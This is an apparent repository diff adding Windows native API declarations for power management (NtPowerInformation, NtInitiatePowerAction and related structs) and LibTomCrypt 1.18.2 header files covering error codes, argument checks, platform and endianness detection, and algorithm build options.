PowerInternalDirectedFxSetMode = 56,
PowerInternalRegisterPowerPlane,
PowerInternalSetDirectedDripsFlags,
PowerInternalClearDirectedDripsFlags,
PowerInternalRetrieveHiberFileResumeContext, // 60
PowerInternalReadHiberFilePage,
PowerInternalLastBootSucceeded, // out: BOOLEAN
PowerInternalQuerySleepStudyHelperRoutineBlock,
PowerInternalDirectedDripsQueryCapabilities,
PowerInternalClearConstraints,
PowerInternalSoftParkVelocityEnabled,
PowerInternalQueryIntelPepCapabilities,
PowerInternalGetSystemIdleLoopEnablement, // since WIN11
PowerInternalGetVmPerfControlSupport,
PowerInternalGetVmPerfControlConfig, // 70
PowerInternalSleepDetailedDiagUpdate,
PowerInternalProcessorClassFrequencyBandsStats,
PowerInternalHostGlobalUserPresenceStateUpdate,
PowerInternalCpuNodeIdleIntervalStats,
PowerInternalClassIdleIntervalStats,
PowerInternalCpuNodeConcurrencyStats,
PowerInternalClassConcurrencyStats,
PowerInternalQueryProcMeasurementCapabilities,
PowerInternalQueryProcMeasurementValues,
PowerInternalPrepareForSystemInitiatedReboot, // 80
PowerInternalGetAdaptiveSessionState,
PowerInternalSetConsoleLockedState,
PowerInternalOverrideSystemInitiatedRebootState,
PowerInternalFanImpactStats,
PowerInternalFanRpmBuckets,
PowerInternalPowerBootAppDiagInfo,
PowerInternalUnregisterShutdownNotification, // since 22H1
PowerInternalManageTransitionStateRecord,
PowerInformationInternalMaximum
} POWER_INFORMATION_LEVEL_INTERNAL;
typedef enum _POWER_S0_DISCONNECTED_REASON
{
PoS0DisconnectedReasonNone,
PoS0DisconnectedReasonNonCompliantNic,
PoS0DisconnectedReasonSettingPolicy,
PoS0DisconnectedReasonEnforceDsPolicy,
PoS0DisconnectedReasonCsChecksFailed,
PoS0DisconnectedReasonSmartStandby,
PoS0DisconnectedReasonMaximum
} POWER_S0_DISCONNECTED_REASON;
typedef struct _POWER_S0_LOW_POWER_IDLE_INFO
{
POWER_S0_DISCONNECTED_REASON DisconnectedReason;
union
{
BOOLEAN Storage : 1;
BOOLEAN WiFi : 1;
BOOLEAN Mbn : 1;
BOOLEAN Ethernet : 1;
BOOLEAN Reserved : 4;
UCHAR AsUCHAR;
} CsDeviceCompliance;
union
{
BOOLEAN DisconnectInStandby : 1;
BOOLEAN EnforceDs : 1;
BOOLEAN Reserved : 6;
UCHAR AsUCHAR;
} Policy;
} POWER_S0_LOW_POWER_IDLE_INFO, * PPOWER_S0_LOW_POWER_IDLE_INFO;
typedef struct _POWER_INFORMATION_INTERNAL_HEADER
{
POWER_INFORMATION_LEVEL_INTERNAL InternalType;
ULONG Version;
} POWER_INFORMATION_INTERNAL_HEADER, * PPOWER_INFORMATION_INTERNAL_HEADER;
typedef struct _POWER_USER_ABSENCE_PREDICTION
{
POWER_INFORMATION_INTERNAL_HEADER Header;
LARGE_INTEGER ReturnTime;
} POWER_USER_ABSENCE_PREDICTION, * PPOWER_USER_ABSENCE_PREDICTION;
typedef struct _POWER_USER_ABSENCE_PREDICTION_CAPABILITY
{
BOOLEAN AbsencePredictionCapability;
} POWER_USER_ABSENCE_PREDICTION_CAPABILITY, * PPOWER_USER_ABSENCE_PREDICTION_CAPABILITY;
typedef struct _POWER_PROCESSOR_LATENCY_HINT
{
POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader;
ULONG Type;
} POWER_PROCESSOR_LATENCY_HINT, * PPO_PROCESSOR_LATENCY_HINT;
typedef struct _POWER_STANDBY_NETWORK_REQUEST
{
POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader;
BOOLEAN Active;
} POWER_STANDBY_NETWORK_REQUEST, * PPOWER_STANDBY_NETWORK_REQUEST;
typedef struct _POWER_SET_BACKGROUND_TASK_STATE
{
POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader;
BOOLEAN Engaged;
} POWER_SET_BACKGROUND_TASK_STATE, * PPOWER_SET_BACKGROUND_TASK_STATE;
typedef struct POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT
{
POWER_INFORMATION_LEVEL_INTERNAL InternalType;
PROCESSOR_NUMBER ProcessorNumber; // ULONG_MAX
} POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT, * PPOWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT;
typedef struct POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT
{
ULONG Version;
ULONG NominalFrequency; // if (Domain) Prcb->PowerState.CheckContext.Domain.NominalFrequency else Prcb->MHz
} POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT, * PPOWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT;
_IRQL_requires_max_(APC_LEVEL)
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtPowerInformation(
_In_ POWER_INFORMATION_LEVEL InformationLevel,
_In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
_In_ ULONG OutputBufferLength
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwPowerInformation(
_In_ POWER_INFORMATION_LEVEL InformationLevel,
_In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
_In_ ULONG OutputBufferLength
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtSetThreadExecutionState(
_In_ EXECUTION_STATE NewFlags, // ES_* flags
_Out_ EXECUTION_STATE* PreviousFlags
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwSetThreadExecutionState(
_In_ EXECUTION_STATE NewFlags, // ES_* flags
_Out_ EXECUTION_STATE* PreviousFlags
);
#if (NTDDI_VERSION < NTDDI_WIN7)
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtRequestWakeupLatency(
_In_ LATENCY_TIME latency
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwRequestWakeupLatency(
_In_ LATENCY_TIME latency
);
#endif
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtInitiatePowerAction(
_In_ POWER_ACTION SystemAction,
_In_ SYSTEM_POWER_STATE LightestSystemState,
_In_ ULONG Flags, // POWER_ACTION_* flags
_In_ BOOLEAN Asynchronous
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwInitiatePowerAction(
_In_ POWER_ACTION SystemAction,
_In_ SYSTEM_POWER_STATE LightestSystemState,
_In_ ULONG Flags, // POWER_ACTION_* flags
_In_ BOOLEAN Asynchronous
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtSetSystemPowerState(
_In_ POWER_ACTION SystemAction,
_In_ SYSTEM_POWER_STATE LightestSystemState,
_In_ ULONG Flags // POWER_ACTION_* flags
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemPowerState(
_In_ POWER_ACTION SystemAction,
_In_ SYSTEM_POWER_STATE LightestSystemState,
_In_ ULONG Flags // POWER_ACTION_* flags
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtGetDevicePowerState(
_In_ HANDLE Device,
_Out_ PDEVICE_POWER_STATE State
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwGetDevicePowerState(
_In_ HANDLE Device,
_Out_ PDEVICE_POWER_STATE State
);
__kernel_entry NTSYSCALLAPI
BOOLEAN
NTAPI
NtIsSystemResumeAutomatic(
VOID
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
BOOLEAN
NTAPI
ZwIsSystemResumeAutomatic(
VOID
);
VEIL_END()
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

BIN
include/crypt-1.18.2.zip Normal file

Binary file not shown.

105
include/tomcrypt.h Normal file
View File

@ -0,0 +1,105 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#ifndef TOMCRYPT_H_
#define TOMCRYPT_H_
#include <assert.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <time.h>
#include <ctype.h>
#include <limits.h>
/* use configuration data */
#include <tomcrypt_custom.h>
#ifdef __cplusplus
extern "C" {
#endif
/* version */
#define CRYPT 0x0118
#define SCRYPT "1.18.2"
/* max size of either a cipher/hash block or symmetric key [largest of the two] */
#define MAXBLOCKSIZE 128
#ifndef TAB_SIZE
/* descriptor table size */
#define TAB_SIZE 32
#endif
/* error codes [will be expanded in future releases] */
enum {
CRYPT_OK=0, /* Result OK */
CRYPT_ERROR, /* Generic Error */
CRYPT_NOP, /* Not a failure but no operation was performed */
CRYPT_INVALID_KEYSIZE, /* Invalid key size given */
CRYPT_INVALID_ROUNDS, /* Invalid number of rounds */
CRYPT_FAIL_TESTVECTOR, /* Algorithm failed test vectors */
CRYPT_BUFFER_OVERFLOW, /* Not enough space for output */
CRYPT_INVALID_PACKET, /* Invalid input packet given */
CRYPT_INVALID_PRNGSIZE, /* Invalid number of bits for a PRNG */
CRYPT_ERROR_READPRNG, /* Could not read enough from PRNG */
CRYPT_INVALID_CIPHER, /* Invalid cipher specified */
CRYPT_INVALID_HASH, /* Invalid hash specified */
CRYPT_INVALID_PRNG, /* Invalid PRNG specified */
CRYPT_MEM, /* Out of memory */
CRYPT_PK_TYPE_MISMATCH, /* Not equivalent types of PK keys */
CRYPT_PK_NOT_PRIVATE, /* Requires a private PK key */
CRYPT_INVALID_ARG, /* Generic invalid argument */
CRYPT_FILE_NOTFOUND, /* File Not Found */
CRYPT_PK_INVALID_TYPE, /* Invalid type of PK key */
CRYPT_OVERFLOW, /* An overflow of a value was detected/prevented */
CRYPT_UNUSED1, /* UNUSED1 */
CRYPT_INPUT_TOO_LONG, /* The input was longer than expected. */
CRYPT_PK_INVALID_SIZE, /* Invalid size input for PK parameters */
CRYPT_INVALID_PRIME_SIZE,/* Invalid size of prime requested */
CRYPT_PK_INVALID_PADDING, /* Invalid padding on input */
CRYPT_HASH_OVERFLOW /* Hash applied to too many bits */
};
#include <tomcrypt_cfg.h>
#include <tomcrypt_macros.h>
#include <tomcrypt_cipher.h>
#include <tomcrypt_hash.h>
#include <tomcrypt_mac.h>
#include <tomcrypt_prng.h>
#include <tomcrypt_pk.h>
#include <tomcrypt_math.h>
#include <tomcrypt_misc.h>
#include <tomcrypt_argchk.h>
#include <tomcrypt_pkcs.h>
#ifdef __cplusplus
}
#endif
#endif /* TOMCRYPT_H_ */
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

53
include/tomcrypt_argchk.h Normal file
View File

@ -0,0 +1,53 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* Defines the LTC_ARGCHK macro used within the library */
/* ARGTYPE is defined in tomcrypt_cfg.h */
#if ARGTYPE == 0
#include <signal.h>
/* this is the default LibTomCrypt macro */
#if defined(__clang__) || defined(__GNUC_MINOR__)
#define NORETURN __attribute__ ((noreturn))
#else
#define NORETURN
#endif
void crypt_argchk(const char *v, const char *s, int d) NORETURN;
#define LTC_ARGCHK(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0)
#define LTC_ARGCHKVD(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0)
#elif ARGTYPE == 1
/* fatal type of error */
#define LTC_ARGCHK(x) assert((x))
#define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
#elif ARGTYPE == 2
#define LTC_ARGCHK(x) if (!(x)) { fprintf(stderr, "\nwarning: ARGCHK failed at %s:%d\n", __FILE__, __LINE__); }
#define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
#elif ARGTYPE == 3
#define LTC_ARGCHK(x)
#define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
#elif ARGTYPE == 4
#define LTC_ARGCHK(x) if (!(x)) return CRYPT_INVALID_ARG;
#define LTC_ARGCHKVD(x) if (!(x)) return;
#endif
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

283
include/tomcrypt_cfg.h Normal file
View File

@ -0,0 +1,283 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* This is the build config file.
*
* With this you can setup what to inlcude/exclude automatically during any build. Just comment
* out the line that #define's the word for the thing you want to remove. phew!
*/
#ifndef TOMCRYPT_CFG_H
#define TOMCRYPT_CFG_H
#if defined(_WIN32) || defined(_MSC_VER)
#define LTC_CALL __cdecl
#elif !defined(LTC_CALL)
#define LTC_CALL
#endif
#ifndef LTC_EXPORT
#define LTC_EXPORT
#endif
/* certain platforms use macros for these, making the prototypes broken */
#ifndef LTC_NO_PROTOTYPES
/* you can change how memory allocation works ... */
LTC_EXPORT void * LTC_CALL XMALLOC(size_t n);
LTC_EXPORT void * LTC_CALL XREALLOC(void *p, size_t n);
LTC_EXPORT void * LTC_CALL XCALLOC(size_t n, size_t s);
LTC_EXPORT void LTC_CALL XFREE(void *p);
LTC_EXPORT void LTC_CALL XQSORT(void *base, size_t nmemb, size_t size, int(*compar)(const void *, const void *));
/* change the clock function too */
LTC_EXPORT clock_t LTC_CALL XCLOCK(void);
/* various other functions */
LTC_EXPORT void * LTC_CALL XMEMCPY(void *dest, const void *src, size_t n);
LTC_EXPORT int LTC_CALL XMEMCMP(const void *s1, const void *s2, size_t n);
LTC_EXPORT void * LTC_CALL XMEMSET(void *s, int c, size_t n);
LTC_EXPORT int LTC_CALL XSTRCMP(const char *s1, const char *s2);
#endif
/* some compilers do not like "inline" (or maybe "static inline"), namely: HP cc, IBM xlc */
#if defined(__HP_cc) || defined(__xlc__)
#define LTC_INLINE
#elif defined(_MSC_VER)
#define LTC_INLINE __inline
#else
#define LTC_INLINE inline
#endif
/* type of argument checking, 0=default, 1=fatal and 2=error+continue, 3=nothing */
#ifndef ARGTYPE
#define ARGTYPE 0
#endif
#undef LTC_ENCRYPT
#define LTC_ENCRYPT 0
#undef LTC_DECRYPT
#define LTC_DECRYPT 1
/* Controls endianess and size of registers. Leave uncommented to get platform neutral [slower] code
*
* Note: in order to use the optimized macros your platform must support unaligned 32 and 64 bit read/writes.
* The x86 platforms allow this but some others [ARM for instance] do not. On those platforms you **MUST**
* use the portable [slower] macros.
*/
/* detect x86/i386 32bit */
#if defined(__i386__) || defined(__i386) || defined(_M_IX86)
#define ENDIAN_LITTLE
#define ENDIAN_32BITWORD
#define LTC_FAST
#endif
/* detect amd64/x64 */
#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64)
#define ENDIAN_LITTLE
#define ENDIAN_64BITWORD
#define LTC_FAST
#endif
/* detect PPC32 */
#if defined(LTC_PPC32)
#define ENDIAN_BIG
#define ENDIAN_32BITWORD
#define LTC_FAST
#endif
/* detects MIPS R5900 processors (PS2) */
#if (defined(__R5900) || defined(R5900) || defined(__R5900__)) && (defined(_mips) || defined(__mips__) || defined(mips))
#define ENDIAN_64BITWORD
#if defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__)
#define ENDIAN_BIG
#endif
#define ENDIAN_LITTLE
#endif
#endif
/* detect AIX */
#if defined(_AIX) && defined(_BIG_ENDIAN)
#define ENDIAN_BIG
#if defined(__LP64__) || defined(_ARCH_PPC64)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect HP-UX */
#if defined(__hpux) || defined(__hpux__)
#define ENDIAN_BIG
#if defined(__ia64) || defined(__ia64__) || defined(__LP64__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect Apple OS X */
#if defined(__APPLE__) && defined(__MACH__)
#if defined(__LITTLE_ENDIAN__) || defined(__x86_64__)
#define ENDIAN_LITTLE
#else
#define ENDIAN_BIG
#endif
#if defined(__LP64__) || defined(__x86_64__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect SPARC and SPARC64 */
#if defined(__sparc__) || defined(__sparc)
#define ENDIAN_BIG
#if defined(__arch64__) || defined(__sparcv9) || defined(__sparc_v9__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect IBM S390(x) */
#if defined(__s390x__) || defined(__s390__)
#define ENDIAN_BIG
#if defined(__s390x__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect PPC64 */
#if defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__)
#define ENDIAN_64BITWORD
#if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
#define ENDIAN_BIG
#elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
#define ENDIAN_LITTLE
#endif
#define LTC_FAST
#endif
/* endianness fallback */
#if !defined(ENDIAN_BIG) && !defined(ENDIAN_LITTLE)
#if defined(_BYTE_ORDER) && _BYTE_ORDER == _BIG_ENDIAN || \
defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN || \
defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ || \
defined(__BIG_ENDIAN__) || \
defined(__ARMEB__) || defined(__THUMBEB__) || defined(__AARCH64EB__) || \
defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__)
#define ENDIAN_BIG
#elif defined(_BYTE_ORDER) && _BYTE_ORDER == _LITTLE_ENDIAN || \
defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN || \
defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ || \
defined(__LITTLE_ENDIAN__) || \
defined(__ARMEL__) || defined(__THUMBEL__) || defined(__AARCH64EL__) || \
defined(_MIPSEL) || defined(__MIPSEL) || defined(__MIPSEL__)
#define ENDIAN_LITTLE
#else
#error Cannot detect endianness
#endif
#endif
/* ulong64: 64-bit data type */
#ifdef _MSC_VER
#define CONST64(n) n ## ui64
typedef unsigned __int64 ulong64;
#else
#define CONST64(n) n ## ULL
typedef unsigned long long ulong64;
#endif
/* ulong32: "32-bit at least" data type */
#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) || \
defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) || \
defined(__s390x__) || defined(__arch64__) || defined(__aarch64__) || \
defined(__sparcv9) || defined(__sparc_v9__) || defined(__sparc64__) || \
defined(__ia64) || defined(__ia64__) || defined(__itanium__) || defined(_M_IA64) || \
defined(__LP64__) || defined(_LP64) || defined(__64BIT__)
typedef unsigned ulong32;
#if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD)
#define ENDIAN_64BITWORD
#endif
#else
typedef unsigned long ulong32;
#if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD)
#define ENDIAN_32BITWORD
#endif
#endif
#if defined(ENDIAN_64BITWORD) && !defined(_MSC_VER)
typedef unsigned long long ltc_mp_digit;
#else
typedef unsigned long ltc_mp_digit;
#endif
/* No asm is a quick way to disable anything "not portable" */
#ifdef LTC_NO_ASM
#define ENDIAN_NEUTRAL
#undef ENDIAN_32BITWORD
#undef ENDIAN_64BITWORD
#undef LTC_FAST
#define LTC_NO_ROLC
#define LTC_NO_BSWAP
#endif
/* No LTC_FAST if: explicitly disabled OR non-gcc/non-clang compiler OR old gcc OR using -ansi -std=c99 */
#if defined(LTC_NO_FAST) || (__GNUC__ < 4) || defined(__STRICT_ANSI__)
#undef LTC_FAST
#endif
#ifdef LTC_FAST
#define LTC_FAST_TYPE_PTR_CAST(x) ((LTC_FAST_TYPE*)(void*)(x))
#ifdef ENDIAN_64BITWORD
typedef ulong64 __attribute__((__may_alias__)) LTC_FAST_TYPE;
#else
typedef ulong32 __attribute__((__may_alias__)) LTC_FAST_TYPE;
#endif
#endif
#if !defined(ENDIAN_NEUTRAL) && (defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) && !(defined(ENDIAN_32BITWORD) || defined(ENDIAN_64BITWORD))
#error You must specify a word size as well as endianess in tomcrypt_cfg.h
#endif
#if !(defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE))
#define ENDIAN_NEUTRAL
#endif
#if (defined(ENDIAN_32BITWORD) && defined(ENDIAN_64BITWORD))
#error Cannot be 32 and 64 bit words...
#endif
/* gcc 4.3 and up has a bswap builtin; detect it by gcc version.
* clang also supports the bswap builtin, and although clang pretends
* to be gcc (macro-wise, anyway), clang pretends to be a version
* prior to gcc 4.3, so we can't detect bswap that way. Instead,
* clang has a __has_builtin mechanism that can be used to check
* for builtins:
* http://clang.llvm.org/docs/LanguageExtensions.html#feature_check */
#ifndef __has_builtin
#define __has_builtin(x) 0
#endif
#if !defined(LTC_NO_BSWAP) && defined(__GNUC__) && \
((__GNUC__ * 100 + __GNUC_MINOR__ >= 403) || \
(__has_builtin(__builtin_bswap32) && __has_builtin(__builtin_bswap64)))
#define LTC_HAVE_BSWAP_BUILTIN
#endif
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

1008
include/tomcrypt_cipher.h Normal file

File diff suppressed because it is too large Load Diff

590
include/tomcrypt_custom.h Normal file
View File

@ -0,0 +1,590 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#ifndef TOMCRYPT_CUSTOM_H_
#define TOMCRYPT_CUSTOM_H_
/* macros for various libc functions you can change for embedded targets */
#ifndef XMALLOC
#define XMALLOC malloc
#endif
#ifndef XREALLOC
#define XREALLOC realloc
#endif
#ifndef XCALLOC
#define XCALLOC calloc
#endif
#ifndef XFREE
#define XFREE free
#endif
#ifndef XMEMSET
#define XMEMSET memset
#endif
#ifndef XMEMCPY
#define XMEMCPY memcpy
#endif
#ifndef XMEMMOVE
#define XMEMMOVE memmove
#endif
#ifndef XMEMCMP
#define XMEMCMP memcmp
#endif
/* A memory compare function that has to run in constant time,
* c.f. mem_neq() API summary.
*/
#ifndef XMEM_NEQ
#define XMEM_NEQ mem_neq
#endif
#ifndef XSTRCMP
#define XSTRCMP strcmp
#endif
#ifndef XCLOCK
#define XCLOCK clock
#endif
#ifndef XQSORT
#define XQSORT qsort
#endif
#if ( defined(malloc) || defined(realloc) || defined(calloc) || defined(free) || \
defined(memset) || defined(memcpy) || defined(memcmp) || defined(strcmp) || \
defined(clock) || defined(qsort) ) && !defined(LTC_NO_PROTOTYPES)
#define LTC_NO_PROTOTYPES
#endif
/* shortcut to disable automatic inclusion */
#if defined LTC_NOTHING && !defined LTC_EASY
#define LTC_NO_CIPHERS
#define LTC_NO_MODES
#define LTC_NO_HASHES
#define LTC_NO_MACS
#define LTC_NO_PRNGS
#define LTC_NO_PK
#define LTC_NO_PKCS
#define LTC_NO_MISC
#endif /* LTC_NOTHING */
/* Easy button? */
#ifdef LTC_EASY
#define LTC_NO_CIPHERS
#define LTC_RIJNDAEL
#define LTC_BLOWFISH
#define LTC_DES
#define LTC_CAST5
#define LTC_NO_MODES
#define LTC_ECB_MODE
#define LTC_CBC_MODE
#define LTC_CTR_MODE
#define LTC_NO_HASHES
#define LTC_SHA1
#define LTC_SHA3
#define LTC_SHA512
#define LTC_SHA384
#define LTC_SHA256
#define LTC_SHA224
#define LTC_HASH_HELPERS
#define LTC_NO_MACS
#define LTC_HMAC
#define LTC_OMAC
#define LTC_CCM_MODE
#define LTC_NO_PRNGS
#define LTC_SPRNG
#define LTC_YARROW
#define LTC_DEVRANDOM
#define LTC_TRY_URANDOM_FIRST
#define LTC_RNG_GET_BYTES
#define LTC_RNG_MAKE_PRNG
#define LTC_NO_PK
#define LTC_MRSA
#define LTC_MECC
#define LTC_NO_MISC
#define LTC_BASE64
#endif
/* The minimal set of functionality to run the tests */
#ifdef LTC_MINIMAL
#define LTC_RIJNDAEL
#define LTC_SHA256
#define LTC_YARROW
#define LTC_CTR_MODE
#define LTC_RNG_MAKE_PRNG
#define LTC_RNG_GET_BYTES
#define LTC_DEVRANDOM
#define LTC_TRY_URANDOM_FIRST
#undef LTC_NO_FILE
#endif
/* Enable self-test test vector checking */
#ifndef LTC_NO_TEST
#define LTC_TEST
#endif
/* Enable extended self-tests */
/* #define LTC_TEST_EXT */
/* Use small code where possible */
/* #define LTC_SMALL_CODE */
/* clean the stack of functions which put private information on stack */
/* #define LTC_CLEAN_STACK */
/* disable all file related functions */
/* #define LTC_NO_FILE */
/* disable all forms of ASM */
/* #define LTC_NO_ASM */
/* disable FAST mode */
/* #define LTC_NO_FAST */
/* disable BSWAP on x86 */
/* #define LTC_NO_BSWAP */
/* ---> math provider? <--- */
#ifndef LTC_NO_MATH
/* LibTomMath */
/* #define LTM_DESC */
/* TomsFastMath */
/* #define TFM_DESC */
/* GNU Multiple Precision Arithmetic Library */
/* #define GMP_DESC */
#endif /* LTC_NO_MATH */
/* ---> Symmetric Block Ciphers <--- */
#ifndef LTC_NO_CIPHERS
#define LTC_BLOWFISH
#define LTC_RC2
#define LTC_RC5
#define LTC_RC6
#define LTC_SAFERP
#define LTC_RIJNDAEL
#define LTC_XTEA
/* _TABLES tells it to use tables during setup, _SMALL means to use the smaller scheduled key format
* (saves 4KB of ram), _ALL_TABLES enables all tables during setup */
#define LTC_TWOFISH
#ifndef LTC_NO_TABLES
#define LTC_TWOFISH_TABLES
/* #define LTC_TWOFISH_ALL_TABLES */
#else
#define LTC_TWOFISH_SMALL
#endif
/* #define LTC_TWOFISH_SMALL */
/* LTC_DES includes EDE triple-DES */
#define LTC_DES
#define LTC_CAST5
#define LTC_NOEKEON
#define LTC_SKIPJACK
#define LTC_SAFER
#define LTC_KHAZAD
#define LTC_ANUBIS
#define LTC_ANUBIS_TWEAK
#define LTC_KSEED
#define LTC_KASUMI
#define LTC_MULTI2
#define LTC_CAMELLIA
/* stream ciphers */
#define LTC_CHACHA
#define LTC_RC4_STREAM
#define LTC_SOBER128_STREAM
#endif /* LTC_NO_CIPHERS */
/* ---> Block Cipher Modes of Operation <--- */
#ifndef LTC_NO_MODES
#define LTC_CFB_MODE
#define LTC_OFB_MODE
#define LTC_ECB_MODE
#define LTC_CBC_MODE
#define LTC_CTR_MODE
/* F8 chaining mode */
#define LTC_F8_MODE
/* LRW mode */
#define LTC_LRW_MODE
#ifndef LTC_NO_TABLES
/* like GCM mode this will enable 16 8x128 tables [64KB] that make
* seeking very fast.
*/
#define LTC_LRW_TABLES
#endif
/* XTS mode */
#define LTC_XTS_MODE
#endif /* LTC_NO_MODES */
/* ---> One-Way Hash Functions <--- */
#ifndef LTC_NO_HASHES
#define LTC_CHC_HASH
#define LTC_WHIRLPOOL
#define LTC_SHA3
#define LTC_SHA512
#define LTC_SHA512_256
#define LTC_SHA512_224
#define LTC_SHA384
#define LTC_SHA256
#define LTC_SHA224
#define LTC_TIGER
#define LTC_SHA1
#define LTC_MD5
#define LTC_MD4
#define LTC_MD2
#define LTC_RIPEMD128
#define LTC_RIPEMD160
#define LTC_RIPEMD256
#define LTC_RIPEMD320
#define LTC_BLAKE2S
#define LTC_BLAKE2B
#define LTC_HASH_HELPERS
#endif /* LTC_NO_HASHES */
/* ---> MAC functions <--- */
#ifndef LTC_NO_MACS
#define LTC_HMAC
#define LTC_OMAC
#define LTC_PMAC
#define LTC_XCBC
#define LTC_F9_MODE
#define LTC_PELICAN
#define LTC_POLY1305
#define LTC_BLAKE2SMAC
#define LTC_BLAKE2BMAC
/* ---> Encrypt + Authenticate Modes <--- */
#define LTC_EAX_MODE
#define LTC_OCB_MODE
#define LTC_OCB3_MODE
#define LTC_CCM_MODE
#define LTC_GCM_MODE
#define LTC_CHACHA20POLY1305_MODE
/* Use 64KiB tables */
#ifndef LTC_NO_TABLES
#define LTC_GCM_TABLES
#endif
/* USE SSE2? requires GCC works on x86_32 and x86_64*/
#ifdef LTC_GCM_TABLES
/* #define LTC_GCM_TABLES_SSE2 */
#endif
#endif /* LTC_NO_MACS */
/* --> Pseudo Random Number Generators <--- */
#ifndef LTC_NO_PRNGS
/* Yarrow */
#define LTC_YARROW
/* a PRNG that simply reads from an available system source */
#define LTC_SPRNG
/* The RC4 stream cipher based PRNG */
#define LTC_RC4
/* The ChaCha20 stream cipher based PRNG */
#define LTC_CHACHA20_PRNG
/* Fortuna PRNG */
#define LTC_FORTUNA
/* Greg's SOBER128 stream cipher based PRNG */
#define LTC_SOBER128
/* the *nix style /dev/random device */
#define LTC_DEVRANDOM
/* try /dev/urandom before trying /dev/random
* are you sure you want to disable this? http://www.2uo.de/myths-about-urandom/ */
#define LTC_TRY_URANDOM_FIRST
/* rng_get_bytes() */
#define LTC_RNG_GET_BYTES
